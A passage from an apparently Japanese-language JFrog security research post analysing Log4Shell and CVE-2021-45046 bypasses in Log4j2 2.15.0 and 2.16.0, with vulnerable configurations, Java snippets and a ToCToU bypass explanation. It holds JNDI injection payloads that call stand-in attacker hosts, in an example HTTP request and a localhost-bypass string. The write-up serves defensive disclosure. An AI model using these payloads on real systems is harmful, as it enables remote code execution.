class=\"md-plain\">\u65b0\u305f\u306a\u30d1\u30bf\u30fc\u30f3\u30ec\u30a4\u30a2\u30a6\u30c8\u3092Log4j2\u306b\u8ffd\u52a0\u3057\u3066\u3044\u308b\u3002\u3055\u3089\u306b\u305d\u308c\u304c\u30b3\u30f3\u30c6\u30ad\u30b9\u30c8\u30fb\u30eb\u30c3\u30af\u30a2\u30c3\u30d7(<span class=\"md-pair-s\"><code>${ctx:<\/code><\/span>)\u3092\u4f7f\u7528\u3057\u3066\u3044\u308b\u3002\u8106\u5f31\u306a <span class=\"md-pair-s\"><code>log4j2.properties<\/code><\/span>\u30d5\u30a1\u30a4\u30eb\u306e\u4f8b\u306f\u4ee5\u4e0b\u306e\u3068\u304a\u308a\uff1a<\/span><\/p>\n<pre class=\"language-properties\"><code># vulnerable in 2.14.1 even with ENV LOG4J_FORMAT_MSG_NO_LOOKUPS true\r\nappender.console.layout.pattern = ${ctx:useragent} - %d{yyyy-MM-dd HH:mm:ss} %-5p %c{1}:%L - %m%n<\/code><\/pre>\n<p class=\"md-end-block md-p\"><span class=\"md-plain\"><span class=\"md-meta-i-c md-link\"><a href=\"https:\/\/logging.apache.org\/log4j\/2.x\/manual\/configuration.html\">Log4j2 \u306e\u8a2d\u5b9a<\/a><\/span>\u306f\u3001\u69d8\u3005\u306a\u65b9\u6cd5\u3067\u884c\u3046\u3053\u3068\u304c\u3067\u304d\u3001\u3044\u305a\u308c\u306b\u3057\u3066\u3082\u3001\u30c7\u30d5\u30a9\u30eb\u30c8\u306e\u30b3\u30f3\u30c6\u30ad\u30b9\u30c8 \u30eb\u30c3\u30af\u30a2\u30c3\u30d7 \u30d1\u30bf\u30fc\u30f3\u306e\u30ec\u30a4\u30a2\u30a6\u30c8\u3067\u306f\u306a\u3044\u3053\u3068\u306b\u6ce8\u610f\u304c\u5fc5\u8981\u3002<\/span><\/p>\n<p><img decoding=\"async\" class=\"alignnone wp-image-86296 size-full\" src=\"https:\/\/media.jfrog.com\/wp-content\/uploads\/2021\/12\/16013016\/log4j2_config.png\" alt=\"\" width=\"997\" height=\"146\" srcset=\"https:\/\/speedmedia2.jfrog.com\/08612fe1-9391-4cf3-ac1a-6dd49c36b276\/media.jfrog.com\/wp-content\/uploads\/2021\/12\/16013016\/log4j2_config.png?speedsize=w_997 997w, https:\/\/speedmedia2.jfrog.com\/08612fe1-9391-4cf3-ac1a-6dd49c36b276\/media.jfrog.com\/wp-content\/uploads\/2021\/12\/16013016\/log4j2_config.png?speedsize=w_300 300w, https:\/\/speedmedia2.jfrog.com\/08612fe1-9391-4cf3-ac1a-6dd49c36b276\/media.jfrog.com\/wp-content\/uploads\/2021\/12\/16013016\/log4j2_config.png?speedsize=w_768 768w\" sizes=\"(max-width: 997px) 100vw, 997px\" \/><\/li>\n<\/ol>\n<ol class=\"ol-list\" start=\"2\">\n<li class=\"md-list-item\">\n<p class=\"md-end-block md-p\"><span class=\"md-plain\">Thread Context \u306e Map \u6a5f\u80fd\u3092\u4f7f\u7528\u3057\u3066\u3044\u308b\u3002\u3053\u3053\u306f\u304c\u4f8b\u3048\u3070\u653b\u6483\u8005\u304c\u5165\u529b\u30c7\u30fc\u30bf\u3092\u30b3\u30f3\u30c8\u30ed\u30fc\u30eb\u3067\u304d\u308b\u30dd\u30a4\u30f3\u30c8\u3068\u306a\u308b\u3002\u4f8b\u306f\u4ee5\u4e0b\u306e\u3068\u304a\u308a\uff1a<\/span><\/p>\n<pre class=\"language-java\"><code>public void handle(HttpExchange he) throws IOException {\r\n    \/\/ userAgent is attacker-controlled\r\n    String userAgent = he.getRequestHeader(\"User-Agent\"); \r\n     \r\n    \/\/ Note that 1st argument matches the variable name from the configured pattern\r\n    ThreadContext.put(\"useragent\", userAgent); \r\n     \r\n    \/\/ The log message itself doesn't need to contain any message lookup\r\n    log.info(\"Received a request with User-Agent\");\r\n    ...<\/code><\/pre>\n<\/li>\n<\/ol>\n<p class=\"md-end-block md-p\"><span class=\"md-plain\">\u3053\u308c\u3089\u306e\u6761\u4ef6\u304c\u5171\u306b\u6210\u7acb\u3059\u308b\u5834\u5408\u3001\u653b\u6483\u8005\u306f\u653b\u6483\u7528\u30c8\u30fc\u30af\u30f3\u3092\u300c\u901a\u5e38\u901a\u308a\u300d\u306b\u9001\u4fe1\u3059\u308b\u3053\u3068\u304c\u3067\u304d\u307e\u3059\u3002\u4f8b\u3048\u3070\u3001\u653b\u6483\u8005\u306f\u6b21\u306e\u3088\u3046\u306a HTTP \u30ea\u30af\u30a8\u30b9\u30c8\u3092\u9001\u4fe1\u3059\u308b\u3053\u3068\u304c\u3067\u304d\u307e\u3059\u3002<\/span><\/p>\n<pre class=\"md-fences md-end-block ty-contain-cm modeLoaded\"><span role=\"presentation\">GET \/ HTTP\/1.1<\/span>\r\n<span role=\"presentation\">Host: somedomain.com<\/span>\r\n<span role=\"presentation\">User-Agent: ${jndi:ldap:\/\/attacker-srv.com\/foo}<\/span>\r\n<\/pre>\n<p class=\"md-end-block md-p\"><span class=\"md-plain\">\u3053\u306e\u3088\u3046\u306aHTTP\u30ea\u30af\u30a8\u30b9\u30c8\u306b\u3066\u3001<span class=\"md-pair-s\"><code>LOG4J_FORMAT_MSG_NO_LOOKUPS<\/code> \u306b\u3088\u308b<\/span>\u7de9\u548c\u7b56\u3092\u65bd\u3057\u3066\u3044\u3066\u3082\u30b3\u30fc\u30c9\u5b9f\u884c\u304c\u6210\u529f\u3057\u307e\u3059\u3002<\/span><\/p>\n<p><strong>\u66f4\u65b0 #1\uff1a<\/strong>@pwntester \u304c\u30c4\u30a4\u30fc\u30c8\u3057\u305f\u3001\u8106\u5f31\u306a\u30d1\u30bf\u30fc\u30f3\u306e\u4f8b\u3092\u7d39\u4ecb\u3057\u307e\u3059\u3002<\/p>\n<h4>MapMessage<\/h4>\n<p>\u30d1\u30bf\u30fc\u30f3 \u30ec\u30a4\u30a2\u30a6\u30c8\u4f8b\uff1a<\/p>\n<p><code>appender.console.layout.pattern = ${map:tainted} ...<\/code><\/p>\n<p>\u30e6\u30fc\u30b6\u7ba1\u7406\u30c7\u30fc\u30bf\u3092\u6e21\u3059 Java \u30b3\u30fc\u30c9\u306e\u4f8b (TAINTED)\uff1a<\/p>\n<p><code>MapMessage msg = new StringMapMessage().with(\"message\", \"H\").with(\"tainted\", TAINTED);<br \/>\nlogger.error(msg);<\/code><\/p>\n<p>&nbsp;<\/p>\n<h4>Jackson (<a href=\"https:\/\/github.com\/FasterXML\/jackson\">Jackson<\/a> \u304c\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u306e\u30af\u30e9\u30b9\u30d1\u30b9\u306b\u5b58\u5728\u3059\u308b\u5834\u5408\u306e\u307f)<\/h4>\n<p>\u30d1\u30bf\u30fc\u30f3 \u30ec\u30a4\u30a2\u30a6\u30c8\u4f8b\uff1a<\/p>\n<p><code>appender.console.layout.pattern = ${map:tainted} ...<\/code><\/p>\n<p>\u30e6\u30fc\u30b6\u7ba1\u7406\u30c7\u30fc\u30bf\u3092\u6e21\u3059 Java \u30b3\u30fc\u30c9\u306e\u4f8b (TAINTED)\uff1a<\/p>\n<p><code>logger.info(new ObjectMessage(TAINTED));<\/code><\/p>\n<h4><\/h4>\n<h4>StructuredDataMessage<\/h4>\n<p>\u30d1\u30bf\u30fc\u30f3 \u30ec\u30a4\u30a2\u30a6\u30c8\u4f8b\uff1a<\/p>\n<p><code>appender.console.layout.pattern = ${sd:tainted} ...<\/code><\/p>\n<p>\u30e6\u30fc\u30b6\u7ba1\u7406\u30c7\u30fc\u30bf\u3092\u6e21\u3059 Java \u30b3\u30fc\u30c9\u306e\u4f8b (TAINTED)\uff1a<\/p>\n<p><code>StructuredDataMessage m = new StructuredDataMessage(\"1\", \"H\", \"event\");<br \/>\n<\/code><code>m.put(\"tainted\", TAINTED);<br \/>\nlogger.error(m);<\/code><\/p>\n<p>&nbsp;<\/p>\n<p><strong>\u66f4\u65b0 #2\uff1a<\/strong>JFrog \u30bb\u30ad\u30e5\u30ea\u30c6\u30a3 \u30ea\u30b5\u30fc\u30c1 \u30c1\u30fc\u30e0\u304c\u767a\u898b\u30fb\u691c\u8a3c\u3057\u305f\u8106\u5f31\u306a\u30d1\u30bf\u30fc\u30f3\u306e\u4f8b\u306e\u8ffd\u52a0<\/p>\n<h4 id=\"jfrog-bypass-patterns\">\u74b0\u5883\u5909\u6570<\/h4>\n<p>\u30d1\u30bf\u30fc\u30f3\u30ec\u30a4\u30a2\u30a6\u30c8\u4f8b\uff1a<\/p>\n<p><code>appender.console.layout.pattern = ${env:TAINTED_ENV_VAR} ...<\/code><\/p>\n<p>&nbsp;<\/p>\n<h4>main \u5f15\u6570<\/h4>\n<p>\u30d1\u30bf\u30fc\u30f3\u30ec\u30a4\u30a2\u30a6\u30c8\u4f8b\uff1a<\/p>\n<p><code>appender.console.layout.pattern = ${main:0} ...<\/code><\/p>\n<p>\u30e6\u30fc\u30b6\u7ba1\u7406\u30c7\u30fc\u30bf\u3092\u6e21\u3059 Java \u30b3\u30fc\u30c9\u306e\u4f8b (TAINTED)\uff1a<\/p>\n<p><code>MainMapLookup.setMainArguments(args);<br \/>\nlogger.error(\"foo\");<\/code><\/p>\n<p>&nbsp;<\/p>\n<p><strong>\u30a4\u30d9\u30f3\u30c8\uff08\u30e1\u30c3\u30bb\u30fc\u30b8\uff09<\/strong><\/p>\n<p>\u8a2d\u5b9a\u4f8b\uff1a<\/p>\n<pre class=\"language-xml\"><code>\r\n&lt;?xml version=\"1.0\" encoding=\"UTF-8\"?&gt; \r\n&lt;Configuration status=\"WARN\" name=\"RoutingTest\"&gt; \r\n  &lt;Appenders&gt; \r\n    &lt;Routing name=\"Routing\"&gt; \r\n      &lt;Routes&gt; \r\n        &lt;Route pattern=\"aaa\"&gt; \r\n          &lt;Console name=\"STDOUT\"&gt; \r\n            &lt;PatternLayout&gt; \r\n              &lt;pattern&gt;${event:Message} ... &lt;\/pattern&gt; \r\n            &lt;\/PatternLayout&gt; \r\n          &lt;\/Console&gt; \r\n        &lt;\/Route&gt; \r\n      &lt;\/Routes&gt; \r\n    &lt;\/Routing&gt; \r\n  &lt;\/Appenders&gt; \r\n  &lt;Loggers&gt; \r\n    &lt;Root level=\"error\"&gt; \r\n      &lt;AppenderRef ref=\"Routing\" \/&gt; \r\n    &lt;\/Root&gt; \r\n  &lt;\/Loggers&gt; \r\n&lt;\/Configuration&gt;\r\n\r\n<\/code> This will effectively turn message lookups back on. As such, exploitation can be performed similarly to older Log4j versions - <code>logger.info(\"${jndi:ldap:\/\/attacker.com\/foo}\");<\/code><\/pre>\n<p>&nbsp;<\/p>\n<h4 id=\"appendix-d\" class=\"md-end-block md-heading md-focus\"><span class=\"md-plain md-expand\">\u4ed8\u9332D\uff1a<\/span><\/h4>\n<h3 id=\"appendix-d\" class=\"md-end-block md-heading md-focus\"><span class=\"md-plain md-expand\">Log4j2 2.15.0 \u306e\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8\u306b\u3088\u308b\u30ea\u30e2\u30fc\u30c8\u30b3\u30fc\u30c9\u5b9f\u884c<\/span><\/h3>\n<p>Log4j2 2.15.0 \u3067\u306f\u3001Log4Shell (CVE-2021-44228) \u306e\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8\u3092\u9632\u3050\u305f\u3081\u3001\u3044\u304f\u3064\u304b\u306e<a href=\"https:\/\/github.com\/apache\/logging-log4j2\/commit\/c77b3cb39312b83b053d23a2158b99ac7de44dd3\">\u91cd\u8981\u306a\u7de9\u548c\u7b56<\/a>\u304c\u8ffd\u52a0\u3055\u308c\u3066\u3044\u307e\u3059\u3002<\/p>\n<p>\u4ee5\u4e0b\u306f\u3001\u8ffd\u52a0\u3055\u308c\u305f\u7de9\u548c\u7b56\u3068\u305d\u306e\u73fe\u5728\u306e\u30d0\u30a4\u30d1\u30b9\u53ef\u5426\u72b6\u6cc1\u3067\u3059\u3002<\/p>\n<ol>\n<li>\u30e1\u30c3\u30bb\u30fc\u30b8 \u30eb\u30c3\u30af\u30a2\u30c3\u30d7\u306f\u30c7\u30d5\u30a9\u30eb\u30c8\u3067\u7121\u52b9 \u30fc <span class=\"md-pair-s\"><span style=\"color: orange\">\u30d0\u30a4\u30d1\u30b9\u53ef\u00a0<\/span> (CVE-2021-45046 \u7b49)<\/span><\/li>\n<li><span class=\"md-pair-s\"><code>allowedJndiProtocols<\/code>\uff3bJNDI \u306b\u3001\u30c7\u30d5\u30a9\u30eb\u30c8\u3067 LDAP, LDAPS, Java (local) \u306e\u30d7\u30ed\u30c8\u30b3\u30eb\u306e\u307f\u3092\u8a31\u53ef\uff3d\u30fc <span style=\"color: green\">\u65e2\u77e5\u306e\u30d0\u30a4\u30d1\u30b9\u7121\u3057<\/span><\/span><\/li>\n<li><span class=\"md-pair-s\"><code>allowedLdapHosts<\/code>\uff3bJNDI over LDAP \u306b\u3001\u30c7\u30d5\u30a9\u30eb\u30c8\u3067\u306f\u30ed\u30fc\u30ab\u30eb\u30db\u30b9\u30c8\u306b\u306e\u307f\u30a2\u30af\u30bb\u30b9\u3092\u8a31\u53ef\u00a0 (127.0.0.1\/localhost)\uff3d\u30fc <span style=\"color: red\">\u5e38\u306b\u30d0\u30a4\u30d1\u30b9\u53ef<\/span><\/span><\/li>\n<li><span class=\"md-pair-s\"><code>allowedLdapClasses<\/code>\uff3bJNDI over LDAP \u306b\u3001\u30c7\u30d5\u30a9\u30eb\u30c8\u3067 Java \u306e\u30d7\u30ea\u30df\u30c6\u30a3\u30d6 \u30af\u30e9\u30b9\u306e\u307f\u30ed\u30fc\u30c9\u3092\u8a31\u53ef\uff3d\u30fc <span style=\"color: red\">\u5e38\u306b\u30d0\u30a4\u30d1\u30b9\u53ef<\/span><\/span><\/li>\n<\/ol>\n<p>\u7de9\u548c\u7b56\uff13\u304a\u3088\u3073\u7de9\u548c\u7b56\uff14\u304c\u30d0\u30a4\u30d1\u30b9\u53ef\u80fd\u3067\u3042\u308a\u3001<strong>\u3053\u306e\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8\u306f\u30ea\u30e2\u30fc\u30c8\u30b3\u30fc\u30c9\u5b9f\u884c\uff08RCE\uff09\u306b\u76f4\u7d50\u3059\u308b\u305f\u3081<\/strong>\u3001CVE-2021-45046 \u306e\u6df1\u523b\u5ea6\u306f\u300c\u4f4e\u300d\uff083.7\uff09\u304b\u3089\u300c\u91cd\u8981\u300d\uff089.0\uff09\u306b\u30a2\u30c3\u30d7\u30b0\u30ec\u30fc\u30c9\u3055\u308c\u307e\u3057\u305f\u3002\u3057\u304b\u3057\u524d\u8ff0\u306e\u3068\u304a\u308a\u3001CVE-2021-45046 \u3092\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8\u3059\u308b\u305f\u3081\u306e\u524d\u63d0\u6761\u4ef6\u306f\u3001\u307e\u308c\u306a\u30c7\u30d5\u30a9\u30eb\u30c8\u5916\u8a2d\u5b9a\u3092\u5fc5\u8981\u3068\u3059\u308b\u3053\u3068\u304b\u3089\u3001\u6210\u7acb\u3059\u308b\u53ef\u80fd\u6027\u306f\u6975\u3081\u3066\u4f4e\u3044\u3068\u8003\u3048\u3066\u3044\u307e\u3059\u3002<\/p>\n<p><span style=\"text-decoration: underline\">\u4ee5\u4e0b\u306f\u3001\u3044\u304f\u3064\u304b\u306e\u5177\u4f53\u7684\u306a\u30d0\u30a4\u30d1\u30b9\u306b\u3064\u3044\u3066\u306e\u8a73\u7d30\u3067\u3059\u3002<\/span><\/p>\n<h4>\u300c\u30e1\u30c3\u30bb\u30fc\u30b8 \u30eb\u30c3\u30af\u30a2\u30c3\u30d7\u306e\u30c7\u30d5\u30a9\u30eb\u30c8\u7121\u52b9\u5316\u300d\u306e\u5834\u5408\uff1a<\/h4>\n<p>\u3053\u306e\u7de9\u548c\u7b56\u306f\u3001\u4ee5\u4e0b\u306e\u65b9\u6cd5\u3067\u56de\u907f\u3059\u308b\u3053\u3068\u304c\u3067\u304d\u307e\u3059\u3002<\/p>\n<ol>\n<li style=\"list-style-type: none\">\n<ol>\n<li>\u4ed8\u9332 C \u3067\u8a00\u53ca\u3057\u305f\u69cb\u6210\u306e\u3044\u305a\u308c\u304b<\/li>\n<li>\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u304c\u660e\u793a\u7684\u306b\u30e1\u30c3\u30bb\u30fc\u30b8 \u30eb\u30c3\u30af\u30a2\u30c3\u30d7\u3092\u8a31\u53ef\u3057\u3066\u3044\u308b\u5834\u5408\u3001\u69cb\u6210\u30d5\u30a1\u30a4\u30eb\u306e\u3044\u305a\u308c\u304b\u3067 <code>%m{lookups}<\/code> \u3092\u542b\u3080\u30d1\u30bf\u30fc\u30f3 \u30ec\u30a4\u30a2\u30a6\u30c8\u3092\u5b9a\u7fa9\u3057\u3066\u3044\u308b\u3002\u4f8b\uff1a\u00a0<code>appender.console.layout.pattern = %m{lookups}<\/code><\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<p>\u524d\u8ff0\u306e\u3068\u304a\u308a\u3001Log4j2 2.15.0 \u306b\u304a\u3044\u3066\u3053\u306e\u7de9\u548c\u7b56\u3092\u30d0\u30a4\u30d1\u30b9\u3055\u308c\u308b\u3068\u3001\u73fe\u5728\u306e\u3068\u3053\u308d\u30ea\u30e2\u30fc\u30c8\u30b3\u30fc\u30c9\u5b9f\u884c\u306b\u76f4\u7d50\u3057\u307e\u3059\u3002<\/p>\n<h4><\/h4>\n<h4><span class=\"md-pair-s\">\u300cJNDI over LDAP \u306b\u3001\u30c7\u30d5\u30a9\u30eb\u30c8\u3067\u306f\u30ed\u30fc\u30ab\u30eb\u30db\u30b9\u30c8\u306b\u306e\u307f\u30a2\u30af\u30bb\u30b9\u3092\u8a31\u53ef\u300d\u306e\u5834\u5408\uff1a<\/span><\/h4>\n<p>@marcioalm \u6c0f\u306e\u30c4\u30a4\u30fc\u30c8\u306b\u3088\u308b\u3068\u3001 <code>${jndi:ldap:\/\/127.0.0.1#evilhost.com:1389\/a}<\/code> \u306e\u3088\u3046\u306a\u653b\u6483\u6587\u5b57\u5217\u306f\u3001\u30ed\u30fc\u30ab\u30eb\u30db\u30b9\u30c8\u306e\u5236\u9650\u3092\u30d0\u30a4\u30d1\u30b9\u3057\u3001\u30ea\u30e2\u30fc\u30c8\u306e <code>evilhost.com<\/code> \u306b\u30b3\u30cd\u30af\u30c8\u3055\u305b\u307e\u3059\u3002\u3053\u306e\u30d0\u30a4\u30d1\u30b9\u306f\u3001\u8106\u5f31\u306a\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u304c macOS \u304a\u3088\u3073 FreeBSD \u4e0a\u3067\u52d5\u4f5c\u3059\u308b\u5834\u5408\u306b\u306e\u307f\u518d\u73fe\u3067\u304d\u307e\u3057\u305f\u3002\u307e\u305f\u3001Fedora\u3001Arch Linux\u3001Alpine Linux \u306b\u3082\u8106\u5f31\u6027\u304c\u3042\u308b\u3053\u3068\u304c\u5831\u544a\u3055\u308c\u3066\u3044\u307e\u3059\u3002\u305d\u306e\u4ed6\u306e OS \u3067\u306f\u3001Java \u304c\u00a0<code> UnknownHostException<\/code> \u3092\u751f\u3058\u307e\u3059\uff08Ubuntu, Debian, Windows\u3067\u78ba\u8a8d\uff09\u3002<\/p>\n<h4><span class=\"md-pair-s\">\u300cJNDI over LDAP \u306b\u3001\u30c7\u30d5\u30a9\u30eb\u30c8\u3067 Java \u306e\u30d7\u30ea\u30df\u30c6\u30a3\u30d6 \u30af\u30e9\u30b9\u306e\u307f\u30ed\u30fc\u30c9\u3092\u8a31\u53ef\u300d\u306e\u5834\u5408\uff1a<\/span><\/h4>\n<p>\u30c7\u30d5\u30a9\u30eb\u30c8\u4ee5\u5916\u306e\u8a2d\u5b9a\u3067 JNDI \u304c\u6709\u52b9\u306b\u306a\u3063\u3066\u3044\u308b\u5834\u5408\u3001\u4ee5\u4e0b\u306e\u30d0\u30a4\u30d1\u30b9\u65b9\u6cd5\u306f\u30d0\u30fc\u30b8\u30e7\u30f3 2.16.0 \u3067\u3082\u6709\u52b9\u3067\u3042\u308b\u3053\u3068\u306b\u6ce8\u610f\u304c\u5fc5\u8981\u3067\u3059\u3002<\/p>\n<h5 id=\"toctou-bypass\">\u30d0\u30a4\u30d1\u30b9 #1 \u30fc Time-of-check \u653b\u6483\u3001Time-of-use \u653b\u6483<\/h5>\n<p>\u3053\u306e\u8106\u5f31\u6027\u306f\u3001JFrog \u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3 \u30ea\u30b5\u30fc\u30c1\u30c1\u30fc\u30e0\u304a\u3088\u3073\u4ed6\u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u7814\u7a76\u8005\u306b\u3088\u3063\u3066\u72ec\u81ea\u306b\u767a\u898b\u3055\u308c\u3001Apache \u306b\u516c\u958b\u3055\u308c\u307e\u3057\u305f\u3002<\/p>\n<p>\u30d0\u30fc\u30b8\u30e7\u30f3 2.15.0 \u3067\u5c0e\u5165\u3055\u308c\u305f\u30af\u30e9\u30b9\u30ed\u30fc\u30c7\u30a3\u30f3\u30b0\u306e\u7de9\u548c\u7b56\u306f\u3001\u307e\u305a <a href=\"https:\/\/github.com\/apache\/logging-log4j2\/commit\/c77b3cb39312b83b053d23a2158b99ac7de44dd3#diff-271353c1076e53f6893261e4420de27d34588bfd782806b5c66a3465c43b7f51R222\">getAttributes<\/a> \u3092\u547c\u3073\u51fa\u3057\u3066\u8981\u6c42\u3055\u308c\u305f LDAP \u5c5e\u6027\u3092\u691c\u67fb\u3057\u3001\u305d\u306e\u5f8c <a href=\"https:\/\/github.com\/apache\/logging-log4j2\/commit\/c77b3cb39312b83b053d23a2158b99ac7de44dd3#diff-271353c1076e53f6893261e4420de27d34588bfd782806b5c66a3465c43b7f51R257\">lookup<\/a> \u3092\u547c\u3073\u51fa\u3057\u3066 LDAP \u3067\u6307\u5b9a\u3055\u308c\u305f\u30af\u30e9\u30b9\/\u30aa\u30d6\u30b8\u30a7\u30af\u30c8\u3092\u30ed\u30fc\u30c9\u3057\u307e\u3059\u3002<\/p>\n<pre class=\"language-java\"><code>\r\nif (LDAP.equalsIgnoreCase(uri.getScheme()) || LDAPS.equalsIgnoreCase(uri.getScheme())) {\r\n\tif (!allowedHosts.contains(uri.getHost())) {\r\n\t\tLOGGER.warn(\"Attempt to access ldap server not in allowed list\");\r\n\t\treturn null;\r\n\t}\r\n\t\/\/ GET THE CLASS ATTRIBUTES\r\n\tAttributes attributes = this.context.getAttributes(name);\r\n\tif (attributes != null) {\r\n\t\t\/\/ CLASS LOADING CHECKS HERE\r\n\t\t...\r\n\t}\r\n\t...\r\n}\r\n...\r\n\/\/ LOAD THE CLASS\r\nreturn (T) this.context.lookup(name);\r\n...\r\n<\/code><\/pre>\n<p>\u3057\u304b\u3057\u306a\u304c\u3089\u3001<strong>getAttributes \u3068 lookup \u306e\u4e21\u65b9\u306e\u547c\u3073\u51fa\u3057\u306b\u3088\u308a\u3001\u5225\u3005\u306e LDAP \u30ea\u30af\u30a8\u30b9\u30c8\u304c\u9001\u4fe1\u3055\u308c\u307e\u3059<\/strong>\u3002<\/p>\n<p>\u60aa\u610f\u306e\u3042\u308b\u30b5\u30fc\u30d0\u306f\u3001<code>getAttributes<\/code> \u3068 <code>lookup<\/code> \u306e\u4e21\u65b9\u306e\u30ea\u30af\u30a8\u30b9\u30c8\u306b\u5bfe\u3057\u3066\u540c\u3058 LDAP \u30ec\u30b9\u30dd\u30f3\u30b9\u3092\u9001\u308a\u8fd4\u3059\u5fc5\u8981\u306f\u3042\u308a\u307e\u305b\u3093\u3002<\/p>\n<p>\u3057\u305f\u304c\u3063\u3066\u3001\u653b\u6483\u8005\u306f\u6b21\u306e\u3088\u3046\u306b\u52d5\u4f5c\u3059\u308b LDAP \u30b5\u30fc\u30d0\u3092\u7c21\u5358\u306b\u69cb\u7bc9\u3059\u308b\u3053\u3068\u304c\u3067\u304d\u307e\u3059\u3002<\/p>\n<ul>\n<li>LDAP \u30ea\u30af\u30a8\u30b9\u30c8 #1\u3067\u3001NULL \u5c5e\u6027\u3092\u6301\u3064\u30ec\u30b9\u30dd\u30f3\u30b9\u3092\u9001\u308a\u8fd4\u3059\uff08Log4j \u30b3\u30fc\u30c9\u304c\u3059\u3079\u3066\u306e\u5c5e\u6027\u30c1\u30a7\u30c3\u30af\u3092\u30b9\u30ad\u30c3\u30d7\u3059\u308b\u539f\u56e0\u3068\u306a\u308b\uff09<\/li>\n<li>LDAP\u30ea\u30af\u30a8\u30b9\u30c8 #2\u3067\u3001\u60aa\u610f\u3042\u308b\u30ec\u30b9\u30dd\u30f3\u30b9\u3092\u8fd4\u4fe1\uff08\u4f8b\uff1a<code>javaCodeBase<\/code> \u306e\u653b\u6483\u8005\u306e URL\uff09<\/li>\n<\/ul>\n<p><img decoding=\"async\" class=\"alignnone wp-image-86905 size-full\" src=\"https:\/\/media.jfrog.com\/wp-content\/uploads\/2021\/12\/28004241\/Log4Shell_bypass.png\" alt=\"\" width=\"990\" height=\"685\" srcset=\"https:\/\/speedmedia2.jfrog.com\/08612fe1-9391-4cf3-ac1a-6dd49c36b276\/media.jfrog.com\/wp-content\/uploads\/2021\/12\/28004241\/Log4Shell_bypass.png?speedsize=w_990 990w, https:\/\/speedmedia2.jfrog.com\/08612fe1-9391-4cf3-ac1a-6dd49c36b276\/media.jfrog.com\/wp-content\/uploads\/2021\/12\/28004241\/Log4Shell_bypass.png?speedsize=w_300 300w, https:\/\/speedmedia2.jfrog.com\/08612fe1-9391-4cf3-ac1a-6dd49c36b276\/media.jfrog.com\/wp-content\/uploads\/2021\/12\/28004241\/Log4Shell_bypass.png?speedsize=w_768 768w\" sizes=\"(max-width: 990px) 100vw, 990px\" \/><\/p>\n<p>\u3053\u308c\u306f\u3001\u53e4\u5178\u7684\u306a ToCToU\uff08Time-of-Check, Time-of-Use\uff09\u653b\u6483\u3067\u3059\u304c\u3001\u653b\u6483\u8005\u306e\u30b5\u30fc\u30d0\u304c\u540c\u671f\u7684\u306b\u53c2\u7167\u3055\u308c\u308b\u305f\u3081\u3001\u7af6\u5408\u306f\u751f\u3058\u307e\u305b\u3093\u3002<\/p>\n<p><span style=\"color: #008000\">\u30e1\u30ea\u30c3\u30c8\u00a0 \u30fc<\/span> \u8106\u5f31\u306a\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u306e\u30af\u30e9\u30b9\u30d1\u30b9\u4e0a\u306b\u300c\u30ac\u30b8\u30a7\u30c3\u30c8\u300d\u30af\u30e9\u30b9\u306e\u6709\u7121\u306b\u4f9d\u5b58\u3057\u306a\u3044<br \/>\n<span class=\"md-pair-s\"><span style=\"color: red\">\u30c7\u30e1\u30ea\u30c3\u30c8<\/span><\/span> \u30fc \u65b0\u3057\u3044 Java \u30d0\u30fc\u30b8\u30e7\u30f3\uff08<code>trustURLCodebase<\/code> \u304c false \u306e\u5834\u5408\uff09\u3067\u306f\u3001\u30ea\u30e2\u30fc\u30c8\u30b3\u30fc\u30c9\u30d9\u30fc\u30b9\u306e\u8aad\u307f\u8fbc\u307f\u304c\u30d6\u30ed\u30c3\u30af\u3055\u308c\u308b<\/p>\n<h5>\u30d0\u30a4\u30d1\u30b9 #2 \u30fc \u507d\u9020\u3055\u308c\u305f\u540d\u524d\u306b\u3088\u3063\u3066\u30b7\u30ea\u30a2\u30e9\u30a4\u30ba\u3055\u308c\u305f\u30aa\u30d6\u30b8\u30a7\u30af\u30c8\u306e\u4f7f\u7528<\/h5>\n<p>\u57cb\u3081\u8fbc\u307e\u308c\u305f Java \u30aa\u30d6\u30b8\u30a7\u30af\u30c8\u3092\u9006\u30b7\u30ea\u30a2\u30e9\u30a4\u30ba\u3059\u308b\u3068\u304d\u306b\u3001\u30aa\u30d6\u30b8\u30a7\u30af\u30c8\u306e<a href=\"https:\/\/github.com\/apache\/logging-log4j2\/commit\/c77b3cb39312b83b053d23a2158b99ac7de44dd3#diff-271353c1076e53f6893261e4420de27d34588bfd782806b5c66a3465c43b7f51R235\">\u30af\u30e9\u30b9\u30c1\u30a7\u30c3\u30af\u306e\u5b9f\u88c5\u304c\u4e0d\u5b8c\u5168\u3067\u3057\u305f<\/a>\u3002\u30af\u30e9\u30b9\u306e\u6bd4\u8f03\u306f\u540d\u524d\u306e\u307f\u3067\u884c\u308f\u308c\u3066\u3057\u307e\u3044\u307e\u3059\u3002<\/p>\n<pre class=\"language-java\"><code>\r\nif (attributeMap.get(SERIALIZED_DATA) != null) {\r\n\tif (classNameAttr != null) {\r\n\t\tString className = classNameAttr.get().toString();\r\n\t\tif (!allowedClasses.contains(className)) {\r\n\t\t\tLOGGER.warn(\"Deserialization of {} is not allowed\", className);\r\n\t\t\treturn null;\r\n\t\t}<\/code><\/pre>\n<p>\u305d\u306e\u305f\u3081\u653b\u6483\u8005\u306f LDAP \u30ec\u30b9\u30dd\u30f3\u30b9\u306b\u30b7\u30ea\u30a2\u30eb\u30e9\u30a4\u30ba\u3055\u308c\u305f<span style=\"text-decoration: underline\">\u4efb\u610f\u306e<\/span>\u30aa\u30d6\u30b8\u30a7\u30af\u30c8\u3092\u6307\u5b9a\u3057\u3001\u305d\u306e <code>javaClassName<\/code> \u3092\u30d7\u30ea\u30df\u30c6\u30a3\u30d6 